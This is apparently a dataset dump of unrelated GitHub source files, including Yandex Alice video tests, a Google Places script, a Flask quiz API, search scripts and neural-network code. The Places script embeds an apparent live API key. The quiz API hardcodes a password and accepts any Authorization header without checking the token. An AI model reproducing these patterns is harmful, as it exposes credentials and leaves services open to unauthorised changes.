response.directive.name == directives.names.VideoPlayDirective\n assert response.directive.payload.item['provider_item_id'] == all_items[0].ProviderItemId\n\n\nclass TestSearchCartoons(_TestVideo):\n \"\"\"\n https://testpalm.yandex-team.ru/testcase/alice-417\n \"\"\"\n\n @pytest.mark.parametrize('command', [\n 'Открой мультфильмы',\n 'Открой мультфильмы союзмультфильм',\n 'Включи мультики',\n 'Включи мультики Диснея',\n ])\n def test_alice_417_search_kp(self, alice, command):\n response = alice(command)\n assert response.directive.name == directives.names.MordoviaShowDirective\n\n def test_alice_417_search_youtube(self, alice):\n response = alice('Открой мультфильмы на YouTube')\n assert response.directive.name == directives.names.MordoviaShowDirective\n\n @pytest.mark.oauth(auth.YandexPlus)\n @pytest.mark.parametrize('command', [\n 'Включи мультфильм тайна коко',\n 'Включи мультфильм Маша и медведь',\n ])\n def test_alice_417_search_kp_plus(self, alice, command):\n response = alice(command)\n assert response.directive.name == directives.names.VideoPlayDirective\n\n\nclass TestPornSearch(object):\n \"\"\"\n https://testpalm.yandex-team.ru/testcase/alice-2250\n \"\"\"\n\n owners = ('akormushkin',)\n\n @pytest.mark.parametrize('surface', [\n surface.station(device_config={'content_settings': content_settings_pb2.medium}),\n surface.station(device_config={'content_settings': content_settings_pb2.without}),\n ])\n def test_alice_2250_allowed(self, alice):\n response = alice('найди порно в сети')\n assert response.directive.name == directives.names.MordoviaShowDirective\n assert 'videoSearch' in response.directive.payload.url\n\n @pytest.mark.parametrize('surface', [\n surface.station(device_config={'content_settings': content_settings_pb2.children}),\n surface.station(device_config={'content_settings': content_settings_pb2.safe}),\n ])\n def test_alice_2250_restricted(self, alice):\n response = alice('найди порно в сети')\n if response.directive:\n assert response.directive.name == directives.names.MordoviaShowDirective\n assert 'pf=strict' in response.directive.payload.url\n\n\n@pytest.mark.parametrize('surface', [surface.watch])\nclass TestPalmVideoAtWatches(object):\n \"\"\"\n https://testpalm.yandex-team.ru/testcase/alice-37\n \"\"\"\n\n owners = ('tolyandex',)\n\n def test_alice_37(self, alice):\n response = alice('Найди фильм Последнее танго в париже')\n\n assert response.text in [\n 'Извините, у меня нет хорошего ответа.',\n 'У меня нет ответа на такой запрос.',\n 'Я пока не умею отвечать на такие запросы.',\n 'Простите, я не знаю что ответить.',\n 'Я не могу на это ответить.',\n 'По вашему запросу я ничего не нашла.',\n 'По вашему запросу ничего не нашлось.',\n 'По вашему запросу не получилось ничего найти.',\n 'По вашему запросу ничего найти не получилось.',\n 'К сожалению, я ничего не нашла.',\n 'К сожалению, ничего не нашлось.',\n 'К сожалению, не получилось ничего найти.',\n 'К сожалению, ничего найти не получилось.',\n 'Ничего не нашлось.',\n 'Я ничего не нашла.',\n 'Я ничего не смогла найти.',\n ]\n assert (response.intent == intent.Search or\n response.product_scenario == intent.ProtocolSearch)\n assert not response.directive\n\n\n@pytest.mark.experiments(\n 'video_disable_webview_searchscreen',\n 'video_disable_doc2doc',\n)\nclass TestVideoPlayerCommands(_TestVideo):\n \"\"\"\n https://testpalm.yandex-team.ru/testcase/alice-404\n \"\"\"\n\n @pytest.mark.oauth(auth.YandexPlus)\n def test_alice_404(self, alice):\n response = alice('найди видео с котиками')\n assert response.directive.name == directives.names.ShowGalleryDirective\n\n response = alice('включи номер 1')\n assert response.directive.name == directives.names.VideoPlayDirective\n\n response = alice('стоп')\n assert response.directive.name == directives.names.PlayerPauseDirective\n\n response = alice('Продолжить просмотр')\n assert response.directive.name == directives.names.PlayerContinueDirective\n\n response = alice('Останови видео')\n assert response.directive.name == directives.names.PlayerPauseDirective\n\n response = alice('Продолжить воспроизведение')\n assert response.directive.name == directives.names.PlayerContinueDirective\n\n response = alice('Пауза')\n assert response.directive.name == directives.names.PlayerPauseDirective\n\n response = alice('Играй')\n assert response.directive.name == directives.names.PlayerContinueDirective\n\n response = alice('Поставь на паузу')\n assert response.directive.name == directives.names.PlayerPauseDirective\n\n\n@pytest.mark.parametrize('surface', [\n surface.loudspeaker,\n surface.station(is_tv_plugged_in=False),\n])\nclass TestVideoSearchWithoutScreen(object):\n \"\"\"\n https://testpalm.yandex-team.ru/testcase/alice-555\n \"\"\"\n\n expected_intents = [\n intent.VideoPlay,\n intent.Search,\n intent.Factoid,\n intent.ObjectAnswer,\n intent.ObjectSearchOO,\n intent.MusicPlay,\n intent.GeneralConversation,\n ]\n\n @pytest.mark.parametrize('command', [\n 'Найди фильм про Терминатора',\n 'Включи сериал Игра престолов',\n 'Посоветуй хорошую комедию',\n 'Включи последнюю серию Мира Дикого Запада',\n 'Найди ролики на ютубе',\n ])\n def test_alice_555(self, alice, command):\n response = alice(command)\n if response.directive:\n assert response.directive.name != directives.names.VideoPlayDirective\n\n assert response.intent in self.expected_intents\n if response.intent == intent.VideoPlay:\n assert response.text in [\n 'Чтобы смотреть видеоролики, фильмы и сериалы, нужно подключить Станцию к экрану.',\n 'Чтобы смотреть видеоролики, фильмы и сериалы, подключите Станцию к экрану.',\n 'Воспроизведение видео не поддерживается на этом устройстве.',\n ]\n\n if response.intent == intent.Search:\n assert response.text in [\n 'Извините, у меня нет хорошего ответа.',\n 'У меня нет ответа на такой запрос.',\n 'Я пока не умею отвечать на такие запросы.',\n 'Простите, я не знаю что ответить.',\n 'Я не могу на это ответить.',\n ]\n\n if response.intent == intent.MusicPlay:\n assert response.directive.name == directives.names.MusicPlayDirective\n\n if response.intent == intent.GeneralConversation:\n assert response.text\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"Voice Assistant tests/tests/integration_tests/video/testpalm_video.py","file_name":"testpalm_video.py","file_ext":"py","file_size_in_byte":27020,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39303569214","text":"import googlemaps\n\nfrom dataclass import PoiData\n\nAPI_KEY = r\"AIzaSyAih3qyStqQpzZkB9R0Oo7D9GJWMUW2iWQ\"\n\nmaps = googlemaps.Client(\n key=API_KEY,\n queries_per_second=3,\n retry_over_query_limit=False,\n timeout=5\n)\n\nresponse: dict = maps.places_nearby(\n location=(53.909804, 27.580184),\n radius=650,\n open_now=False,\n rank_by=\"distance\",\n language='ru',\n type='cafe'\n)\n\npoi = PoiData.from_response(response)\n\nprint(\"DONE\")\n","repo_name":"GeoEugeneK/google-poi-extractor","sub_path":"dev/sample_request.py","file_name":"sample_request.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26633101460","text":"import os\nimport json\n\ndef to_byte(string):\n try:\n b = string.encode('utf-8')\n except AttributeError:\n b = string\n return b\n\ndef read_file_byte(path):\n with open(path, 'rb') as f:\n read = f.read()\n return read\n\ndef write_file_byte(path, data):\n with open(path, 'wb') as f:\n f.write(data)\n\ndef read_json(path):\n with open(path, 'r') as f:\n jf = json.loads(f.read())\n return jf\n\ndef print_json(j_dict):\n parsed = {k:v.__str__() for k,v in j_dict.items()}\n return json.dumps(parsed, indent=3)\n\ndef import_template(path, name, contents=False):\n json_path = os.path.join(path, name)\n json_path = json_path + '.json'\n json_dict = read_json(json_path)\n if contents:\n json_dict = json_dict['Contents']\n\n return json_dict\n\nif __name__ == \"__main__\":\n jf = read_json('/Users/lhleung/Documents/Code/data-marketplace-server/data_marketplace/tx_templates/v1.0/s3_certificate.json')\n print(jf)\n print(type(jf))","repo_name":"grandq33769/gdpr-data-marketplace","sub_path":"data_marketplace/utils/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33026131414","text":"from flask import Flask, request\nfrom db_controller import db_controller\nimport jwt_utils\nfrom question import Question\nfrom reponse import Reponse\nfrom participants import Participants\n\ndef hello_world():\n\tx = 'world'\n\treturn f\"Hello, {x}\"\n\ndef GetQuizInfo():\n try:\n database = db_controller()\n number = database.getNumberOfQuestion()\n score = database.getNumberOfParticipation()\n participants = []\n if score == 0:\n participants = []\n else:\n #trie par ordre décroissant\n partTrie = database.orderByScore()\n print(partTrie)\n for part in partTrie:\n participants.append({\n 'playerName': part[0],\n 'score': part[1]\n })\n jsonQuiz = {\n \"size\": number,\n \"scores\": participants\n }\n \n return jsonQuiz, 200\n except Exception as e:\n print(e)\n return '', 401\n\ndef wrongPassword(request):\n payload = request.get_json()\n if payload[\"password\"] == \"Vive l'ESIEE !\":\n return {\"token\":jwt_utils.build_token()}, 200\n return '', 401\n\ndef creerQuestion():\n token = request.headers.get('Authorization')\n\n try:\n if token:\n payload = request.get_json()\n qst = Question(payload['title'],payload['text'], payload['image'], payload['position'], payload['possibleAnswers'])\n database = db_controller()\n database.insertQuestion(qst)\n reponses = payload['possibleAnswers']\n\n for rep in reponses: \n rep = Reponse(qst.id, rep['text'], rep['isCorrect'])\n database.insertAnswer(rep)\n return '', 200\n else:\n return '', 401\n except Exception as e:\n print(e)\n return '', 401\n\n\ndef supprQuestion(id):\n token = request.headers.get('Authorization')\n try:\n if token:\n if existQuestion(id) == 0:\n return '',404\n database = db_controller()\n idToDelete = database.deleteQuestion(id)\n database.deleteAnswer(idToDelete)\n return '', 204\n else:\n return '', 401\n except Exception as e:\n print(e)\n return '', 401\n\ndef existQuestion(position):\n database = db_controller()\n return database.existQuestion(position)\n \n\ndef getQuestionID(position):\n try:\n if existQuestion(position) == 0:\n return '',404\n database = db_controller()\n qst = database.getQuestion(position)\n return qst, 200\n\n except Exception as e:\n return '', 401\n \n\ndef updateQuestion(id):\n try:\n if existQuestion(id) == 0:\n return '',404\n \n except Exception as e:\n print(e)\n return '', 401\n token = request.headers.get('Authorization')\n\n try:\n if token:\n payload = request.get_json()\n database = db_controller()\n title = payload['title']\n text = payload['text']\n image = payload['image']\n position = payload['position']\n reponses = payload['possibleAnswers']\n length =len(payload['possibleAnswers'])\n print(reponses)\n qst = Question(title, text,image, position, reponses)\n database.updateQuestion(id, qst, length)\n return '', 200\n except Exception as e:\n print(e)\n return '', 401\n\n\ndef participation():\n try:\n payload = request.get_json()\n name = payload['playerName']\n score = getScore(payload['answers'])\n if(score!= -1):\n participant = Participants(name, score)\n database = db_controller()\n if database.checkExistParticipant(name) > 0:\n database.updateParticipation(participant)\n else:\n database.insertParticipant(participant)\n return {\"playerName\": name, \"score\": score}, 200\n else:\n return '', 400\n except Exception as e:\n print(e)\n return '', 401\n\n\ndef getScore(answers):\n score = 0\n database = db_controller()\n number = database.getNumberOfQuestion()\n if((len(answers) != number) or (number == 0)):\n return -1\n else:\n for i in range(0, number):\n if(answers[i]== getGoodAnswerAtIndex(number, i)):\n score = score+1\n print(score)\n return score\n\ndef getGoodAnswerAtIndex(number, i):\n database = db_controller()\n tabAnsw = database.getGoodAnswer(number)\n return tabAnsw[i]\n\ndef deleteParticipation():\n try:\n database = db_controller()\n database.deleteParticipant()\n return '', 204 \n except Exception as e:\n print(e)\n return '', 401\n\ndef getNumberQuestion():\n try:\n database = db_controller()\n number = database.getNumberOfQuestion()\n return str(number), 200\n except Exception as e:\n print(e)\n return '', 401\n\ndef getLogin():\n try:\n database = db_controller()\n login = database.getLogin()\n return str(login), 200\n except Exception as e:\n print(e)\n return '', 401\n\ndef getPassword():\n try:\n database = db_controller()\n password = database.getPassword()\n return str(password), 200\n except Exception as e:\n print(e)\n return '', 401\n\ndef getAnswers(position):\n try:\n database = db_controller()\n answers = database.getAllAnswers(position)\n return answers, 200\n except Exception as e:\n print(e)\n return '', 401","repo_name":"Corentin77600/quiz-app","sub_path":"quiz-api/function.py","file_name":"function.py","file_ext":"py","file_size_in_byte":5638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"9309802737","text":"import requests\nfrom elasticsearch import Elasticsearch\nfrom api.lib.helper import create_index\nfrom api.models.tags import Tag\n\nBASE_URL = \"https://api.stackexchange.com/2.2/tags?page={0}&pagesize=100&order=desc&sort=popular&site=stackoverflow&key=wH4Yhv0yV3gKdsZYY7IeCg((\"\n\nes_host = {\"host\": \"localhost\", \"port\": 9200}\nes = Elasticsearch([es_host])\ncreate_index(es)\n\npage = 351\nresponse = requests.get(BASE_URL.format(page))\nresponse_json = response.json()\nwhile response_json[\"has_more\"]:\n print(page)\n response = requests.get(BASE_URL.format(page))\n response_json = response.json()\n for item in response_json[\"items\"]:\n tag = Tag.from_api_call(item)\n tag.save_to_es()\n page += 1\n","repo_name":"melvynator/skill-evaluator-api","sub_path":"api/jobs/get_all_stackoverflow_tags.py","file_name":"get_all_stackoverflow_tags.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14497882073","text":"from threading import Thread\nfrom queue import Queue\n\nimport time\n\nfrom tkinter import *\n\ndef t(s:str):\n window = Tk()\n\n window.title(\"Welcome to LikeGeeks app\")\n\n def call_back(s):\n print(s)\n\n b = Button(window, text='click', command=call_back(s))\n b.pack()\n window.mainloop()\n\ndef controller_send(q:Queue):\n window = Tk()\n\n window.title(\"Welcome to LikeGeeks app\")\n\n def call_back():\n q.put(\"click\")\n\n b = Button(window, text='click', command=call_back)\n b.pack()\n window.mainloop()\n\n\ndef gui_collect(q:Queue):\n count = 0\n while True:\n count += 1\n try:\n a = q.get(block=True, timeout=0.1)\n print(\"[GUI]\" + str(int(time.time()*1000)) + \" get message: \"+a)\n except Exception:\n print(\"[GUI]\" + str(int(time.time()*1000)) + \" time out.\")\n\nq = Queue()\nt1 = Thread(target=controller_send, args=(q,))\nt2 = Thread(target=gui_collect, args=(q,))\nt1.start()\nt2.start()\n#t(\"123\")","repo_name":"Od1gree/BallBallBigBattle","sub_path":"test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35725976728","text":"#!/usr/bin/env python2\n#-*- coding:utf-8 -*-\n\n\"\"\" Trick : Stack \"\"\"\n\n\"\"\"\nDefinition for singly-linked list.\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\"\"\"\n\n\nclass Solution:\n \"\"\"\n @param: headA: the first list\n @param: headB: the second list\n @return: a ListNode\n \"\"\"\n def get_stack(self,head):\n stack = []\n while head:\n stack.append(head)\n head = head.next\n return stack\n \n def getIntersectionNode(self, headA, headB):\n # write your code here\n if headA is None or headB is None:\n return None\n interset = None\n stackA,stackB = self.get_stack(headA),self.get_stack(headB)\n while len(stackA) and len(stackB):\n A , B = stackA.pop(),stackB.pop()\n if A.val == B.val:\n interset = A\n else:\n break\n return interset\n","repo_name":"WeeJang/basic_algorithm","sub_path":"IntersectionOfTowLinkedList.py","file_name":"IntersectionOfTowLinkedList.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10392632722","text":"from ursina import *\nfrom src.classes.Moviment import SquaresView\nclass Piece(Draggable):\n def __init__(self, board, _color, type, position):\n super().__init__(\n parent=board.board_parent,\n origin=(-.7,.625),\n color=color.white,\n position=(position[0],-position[1]),\n texture=load_texture(f'../textures/{type}_{_color}.png'),\n scale=(.7, .8),\n highlight_color = self.color.tint(.3),\n z = -.1\n )\n self.type = type\n self.piece_color = _color\n self.startPosition = (self.x,self.y)\n self.direction_piece = 1 if self.y <= -6 else -1\n self.view = SquaresView(\n type=\"\",\n position=(position[0],-position[1]),\n direction_piece=self.direction_piece,\n board=board\n )\n \n def hide():\n if(self.view):\n self.view.destroy()\n \n def show():\n if(board.turn == self.piece_color): \n hide()\n \n self.view = SquaresView(\n type=type,\n position=(position[0],-position[1]),\n board=board,\n direction_piece=self.direction_piece\n )\n \n self.on_click = show\n \n def drop():\n if(board.turn == self.piece_color): \n self.x = round(self.x)\n self.y = round(self.y)\n if not self.startPosition == (round(self.x), round(self.y)):\n self.startPosition = (self.x,self.y)\n board.turn = 'white' if self.piece_color == 'black' else 'black'\n hide()\n else:\n self.x = self.startPosition[0]\n self.y = self.startPosition[1] \n \n self.drop = drop\n\nclass Board(Entity):\n Types = [\n 'none',\n 'pawn',\n 'bishop',\n 'knight',\n 'rook',\n 'queen',\n 'king'\n ]\n turn = 'white'\n \n def __init__(self):\n super().__init__(\n parent=camera.ui,\n model='quad',\n origin=(-.5,.5),\n position=(-.5,.5),\n texture=load_texture(f'../textures/board.png'),\n texture_scale=(4,4),\n color=color.white\n )\n self.pieces = [\n [4,3,2,5,6,2,3,4],\n [1,1,1,1,1,1,1,1],\n [0,0,0,0,0,0,0,0],\n [0,0,0,0,0,0,0,0],\n [0,0,0,0,0,0,0,0],\n [0,0,0,0,0,0,0,0],\n [1,1,1,1,1,1,1,1],\n [4,3,2,5,6,2,3,4]\n ]\n self.flipedTable = random.random() * 2 >= 1;\n self.board_parent = Entity(parent=self, scale=(1/8,1/8))\n self.mountBoard()\n \n def firstColor(self):\n return 'white' if self.flipedTable else 'black'\n def secondColor(self):\n return 'white' if not self.flipedTable else 'black'\n \n def mountBoard(self):\n for y in range(len(self.pieces)):\n for x in range(len(self.pieces[y])):\n if self.pieces[y][x] != 0:\n self.pieces[y][x] = Piece(\n board = self,\n _color= self.firstColor() if y > 3 else self.secondColor(), \n type= Board.Types[self.pieces[y][x]], \n position = (x,y)\n )\n else:\n self.pieces[y][x] = False","repo_name":"GumpDev/ChessPy","sub_path":"src/classes/Board.py","file_name":"Board.py","file_ext":"py","file_size_in_byte":3500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72856440082","text":"class Solution(object):\n def shuffle(self, nums, n):\n \"\"\"\n :type nums: List[int]\n :type n: int\n :rtype: List[int]\n \"\"\"\n X = nums[:n]\n Y = nums[n:]\n res = []\n for i in range(n):\n res.append(X[i])\n res.append(Y[i])\n \n return res","repo_name":"yusseef/LeetCode-problems-soluotions","sub_path":"1470. Shuffle the Array.py","file_name":"1470. Shuffle the Array.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"} +{"seq_id":"26417296282","text":"import numpy as np\nimport tensorflow as tf\nfrom tensorflow.python.framework import tensor_shape\nfrom tensorflow.python.keras.engine.input_spec import InputSpec\nfrom tensorflow.python.keras.utils import conv_utils\nfrom tensorflow.python.ops import array_ops, nn, nn_ops\n\n\nclass MaskConv2D(tf.keras.layers.Conv2D):\n def __init__(self,\n mask_type,\n color_conditioning,\n filters,\n kernel_size,\n strides=(1, 1),\n padding='same',\n data_format=None,\n dilation_rate=(1, 1),\n activation=None,\n use_bias=False,\n kernel_initializer='glorot_uniform',\n bias_initializer='zeros',\n kernel_regularizer=None,\n bias_regularizer=None,\n activity_regularizer=None,\n kernel_constraint=None,\n bias_constraint=None,\n **kwargs):\n \"\"\"\n Using padding='same' to keep the resolution and use_bias='False' to remove conditioning on that,\n later on can be used for conditional PixelCNN\n \"\"\"\n super(MaskConv2D,\n self).__init__(filters, kernel_size, strides, padding,\n data_format, dilation_rate, activation, use_bias,\n kernel_initializer, bias_initializer,\n kernel_regularizer, bias_regularizer,\n activity_regularizer, kernel_constraint,\n bias_constraint, **kwargs)\n self.mask_type = mask_type\n self.color_conditioning = color_conditioning\n\n def build(self, input_shape):\n input_shape = tensor_shape.TensorShape(input_shape)\n input_channel = self._get_input_channel(input_shape)\n kernel_shape = self.kernel_size + (input_channel, self.filters)\n\n self.kernel = self.add_weight(name='kernel',\n shape=kernel_shape,\n initializer=self.kernel_initializer,\n regularizer=self.kernel_regularizer,\n constraint=self.kernel_constraint,\n trainable=True,\n dtype=self.dtype)\n\n channel_axis = self._get_channel_axis()\n self.input_spec = InputSpec(ndim=self.rank + 2,\n axes={channel_axis: input_channel})\n\n self._build_conv_op_input_shape = input_shape\n self._build_input_channel = input_channel\n self._padding_op = self._get_padding_op()\n self._conv_op_data_format = conv_utils.convert_data_format(\n self.data_format, self.rank + 2)\n self._convolution_op = nn_ops.Convolution(\n input_shape,\n filter_shape=self.kernel.shape,\n dilation_rate=self.dilation_rate,\n strides=self.strides,\n padding=self._padding_op,\n data_format=self._conv_op_data_format)\n\n self.mask = self.create_mask(self.mask_type, self.color_conditioning)\n\n self.built = True\n\n def call(self, inputs):\n \"\"\"\n Equivalent to a basic kernel masking. Nothing special. :)\n After that call the original convolutional operation.\n \"\"\"\n kernel = self.kernel * self.mask\n\n if self._recreate_conv_op(inputs):\n self._convolution_op = nn_ops.Convolution(\n inputs.get_shape(),\n filter_shape=self.kernel.shape,\n dilation_rate=self.dilation_rate,\n strides=self.strides,\n padding=self._padding_op,\n data_format=self._conv_op_data_format)\n\n outputs = self._convolution_op(inputs, kernel)\n\n if self.activation is not None:\n return self.activation(outputs)\n return outputs\n\n def create_mask(self, mask_type, color_conditioning):\n K, _, C_in, C_out = self.kernel.shape\n mask = np.zeros(shape=(K, K, C_in, C_out))\n mask[:K // 2, :, :, :] = 1\n mask[K // 2, :K // 2, :, :] = 1\n if color_conditioning:\n # mapping from e.g. : R, G, B to RRR, GGG, BBB\n assert C_in % 3 == 0 and C_out % 3 == 0, 'Input and output channels must be multiples of 3!'\n C_in_third, C_out_third = C_in // 3, C_out // 3\n if mask_type == 'B':\n mask[K // 2, K // 2, :C_in_third, :\n C_out_third] = 1 # conditioning the center pixel on R | R\n mask[K // 2, K // 2, :2 * C_in_third, C_out_third:2 *\n C_out_third] = 1 # -ii- on G | RG\n mask[K // 2, K // 2, :, 2 * C_out_third] = 1 # -ii- on B | RGB\n elif mask_type == 'A':\n \"\"\"\n Only used for the first convolution from the RGB input. It shifts the receptive field\n to the direction of the top-left corner, successive applications would results in no\n receptive field in deeper layers.\n \"\"\"\n mask[K // 2, K // 2, :C_in_third, C_out_third:2 *\n C_out_third] = 1 # conditioning center pixel on G | R\n mask[K // 2, K // 2, :2 * C_in_third, 2 *\n C_out_third:] = 1 # -ii- on B | RG\n else:\n if mask_type == 'B':\n mask[K // 2, K // 2, :, :] = 1 # condition on center pixel\n\n return tf.constant(mask, dtype=tf.float32)","repo_name":"qbeer/pixel-cnn","sub_path":"mask_conv.py","file_name":"mask_conv.py","file_ext":"py","file_size_in_byte":5611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13042605450","text":"#!/bin/bin/python\n\nimport os\n\nfrom elasticsearch import Elasticsearch\nfrom elasticsearch.helpers import bulk\n\nes = Elasticsearch(['localhost:9200'])\n\nquery = {\n \"query\": {\n \"match\": {\n \"doc.content\": {\n \"query\": \"ustawa\"\n }\n }\n },\n \"_source\": False,\n \"explain\": True,\n \"size\": 1200\n}\n\nresults = es.search(index=\"bill_index\", body=query)\n\ntotal_value = 0\nfor res in results['hits']['hits']:\n for details_exp in res['_explanation']['details']:\n for details_group in details_exp['details']:\n for details in details_group['details']:\n if details['description'].startswith('termFreq'):\n total_value += int(details['value'])\n\nprint('Total: {0}'.format(total_value))\n","repo_name":"Porcupine96/nlp","sub_path":"lab2/bill_count.py","file_name":"bill_count.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8308563385","text":"# coding:utf-8\nfrom ExecuteActionLib.ExecuteAction import ExecuteAction\nimport logging\nimport time\nimport json\nimport traceback\nfrom public.ConstantSet import Constant\nfrom public.HttpClient import HttpClient\nimport random\n\n\nclass GetErinfoAction(ExecuteAction):\n def __init__(self, case_info_dict, user_pool, p_stop_signal, log_name=\"MXTest\"):\n super(ExecuteAction, self).__init__()\n self.case_info_dict = case_info_dict\n self.user_pool = user_pool\n self.p_stop_signal = p_stop_signal\n self.executor_obj = None\n self.executor_phone_num = None\n self.properly_executed = False\n self.check_result = False\n self._logger = logging.getLogger(log_name)\n self._logger_ar = logging.getLogger(\"AllResult\")\n self.er_info = None\n\n\n def _execute_action(self):\n try:\n if \"check_result\" in self.case_info_dict:\n self.check_result = self.case_info_dict[\"check_result\"]\n\n if self.check_result:\n self.user_pool.cache_lock.acquire()\n self.executor_phone_num = self.user_pool.online_user_phone_num_list.pop()\n self.user_pool.cache_lock.release()\n else:\n self.executor_phone_num = random.choice(self.user_pool.online_user_phone_num_list)\n\n self.executor_obj = self.user_pool.user_phone_num_obj_dict[self.executor_phone_num]\n\n http_response = self._execute_http_request()\n if http_response.status_code == 200:\n if self._check_result():\n self.user_pool.cache_lock.acquire()\n self.user_pool.online_user_phone_num_list.appendleft(self.executor_phone_num)\n self.user_pool.cache_lock.release()\n self._logger.info(\"Geter success!\")\n self._logger_ar.debug(\"Geter check success 200\")\n self.properly_executed = True\n return True\n else:\n self._logger_ar.debug(\"Geter check error 200\")\n self.user_pool.cache_lock.acquire()\n self.user_pool.online_user_phone_num_list.appendleft(self.executor_phone_num)\n self.user_pool.cache_lock.release()\n return False\n\n self._logger_ar.debug(\"Geter success 200!\")\n else:\n self._logger.info(\"Geter Fail!\")\n if self.check_result:\n self._logger_ar.debug(\"Geter check error\" + str(http_response.status_code))\n self._logger_ar.debug(\"Geter fail! http == \" + str(http_response.status_code))\n return False\n except:\n self._logger.warning(\"Return False because of except.\")\n self._logger_ar.debug(\"Geter except\")\n self._logger.warning(traceback.format_exc())\n return False\n finally:\n sleep_after = 0\n if \"sleep_after\" in self.case_info_dict:\n sleep_after = self.case_info_dict[\"sleep_after\"]\n\n if not self.properly_executed:\n self._clean_up_when_fail()\n\n time.sleep(sleep_after)\n return self.properly_executed\n\n def _execute_http_request(self):\n url = Constant.HOST + \"/dimension/gen/dimension\"\n method = 'POST'\n data = {\n \"dimension\" : {\"id\": str(self.executor_obj.user_info_dict[\"userID\"])},\n \"expire_time\": \"1\",\n \"expire_unit\":\"hour\"\n }\n data = json.dumps(data)\n headers = {'authorization': self.executor_obj.user_info_dict[\"basicToken\"],\n \"Content-Type\": \"application/json; charset=utf-8\"}\n execute_http_client = HttpClient(url)\n r = execute_http_client.request(method=method, url=url, name=None, catch_response=False, headers=headers,\n data=data)\n self.er_info = json.loads(r.text)[\"id\"]\n return r\n\n def _clean_up_when_fail(self):\n \"\"\"release user source when fail.\"\"\"\n if self.user_pool.cache_lock.locked():\n self.user_pool.cache_lock.release()\n abnormal_interrupt = False\n if \"abnormal_interrupt\" in self.case_info_dict:\n abnormal_interrupt = self.case_info_dict[\"abnormal_interrupt\"]\n\n if self.check_result:\n if self.executor_phone_num not in self.user_pool.online_user_phone_num_list:\n self.user_pool.cache_lock.acquire()\n self.user_pool.online_user_phone_num_list.appendleft(self.executor_phone_num)\n self.user_pool.cache_lock.release()\n\n if abnormal_interrupt:\n self.p_stop_signal.set()\n # False，设置终止整个测试信号\n else:\n pass\n\n def _check_result(self):\n url = Constant.HOST + \"/dimension/dec/dimension\"\n method = 'POST'\n data = {\n \"id\": self.er_info\n }\n data = json.dumps(data)\n headers = {'authorization': self.executor_obj.user_info_dict[\"basicToken\"],\n \"Content-Type\": \"application/json; charset=utf-8\"}\n execute_http_client = HttpClient(url)\n r = execute_http_client.request(method=method, url=url, name=None, catch_response=False, headers=headers,\n data=data)\n\n if r.status_code != 200:\n return False\n else:\n if json.loads(r.text)[\"dimension\"][\"id\"] == str(self.executor_obj.user_info_dict[\"userID\"]):\n return True\n else:\n return False","repo_name":"ningrulin/PerformanceTest","sub_path":"ExecuteActionLib/GetErinfo.py","file_name":"GetErinfo.py","file_ext":"py","file_size_in_byte":5651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73267862801","text":"import os\nimport json\n\nfrom flask import Blueprint, render_template, request\nfrom appadmin.models.interface_model import Role, Page\nfrom appadmin.utils.blueprint_utils import roles_required_online\nfrom appadmin.utils.localization_manager import LocalizedException, LocalizationManager\n\n\nblp = Blueprint(\n 'roles',\n __name__,\n url_prefix='/roles',\n template_folder='templates',\n static_folder='static',\n static_url_path='/static'\n)\n\n@blp.route('/', methods=['GET', 'POST'])\n@blp.route('//', methods=['GET', 'POST'])\n@roles_required_online(blp)\ndef vew_roles(action, role_id=None):\n db = blp.db_manager\n\n _locale = LocalizationManager().get_blueprint_locale(blp.name)\n\n state = None\n message = None\n\n try:\n if action == 'view':\n role_data = db.get_roles()\n return render_template('roles_view.html', **locals())\n \n if not role_id or role_id == 1:\n return render_template('errors/page_403.html'), 403\n\n if action == 'delete':\n message = _locale.delete_message_error.format(role_id)\n name = db.delete_role_by_id(int(role_id))\n db.commit()\n role_data = db.get_roles()\n message = _locale.delete_message_success.format(name)\n return render_template('roles_view.html', **locals())\n\n if action == 'edit':\n page_title = _locale.title_edit\n\n role = db.get_role_by_id(int(role_id))\n message = _locale.edit_message_error.format(role.name)\n\n role_pages = role.allowed_pages\n pages = db.get_pages()\n\n if request.method == 'POST':\n message = _locale.edit_message_error_2.format(role.name)\n data = request.form\n pages = request.form.getlist('pages')\n\n role.pages = []\n for page in pages:\n role.pages.append(db.query(Page).filter(Page.id == int(page)).one())\n\n role.pages.append(db.query(Page).filter(Page.name == \"main\").one())\n role.pages.append(db.query(Page).filter(Page.name == \"base\").one())\n\n role.name = data['name']\n role.description = data['description']\n\n db.commit()\n\n message = _locale.edit_message_success\n state = 'success'\n role_data = db.get_roles()\n return render_template('roles_view.html', **locals())\n\n return render_template('roles_edit.html', **locals())\n\n raise LocalizedException('error_access', blp=blp.name)\n except Exception as e:\n db.rollback()\n error_msg = _locale.error_generic.format(e) \n print(error_msg)\n state = 'error'\n\n if 'UNIQUE constraint' in error_msg:\n message = _locale.error_unique_name\n else:\n message = _locale.error_while_edit.format(error_msg)\n\n role_data = db.get_roles()\n return render_template('roles_view.html', **locals())\n\n@blp.route('/add', 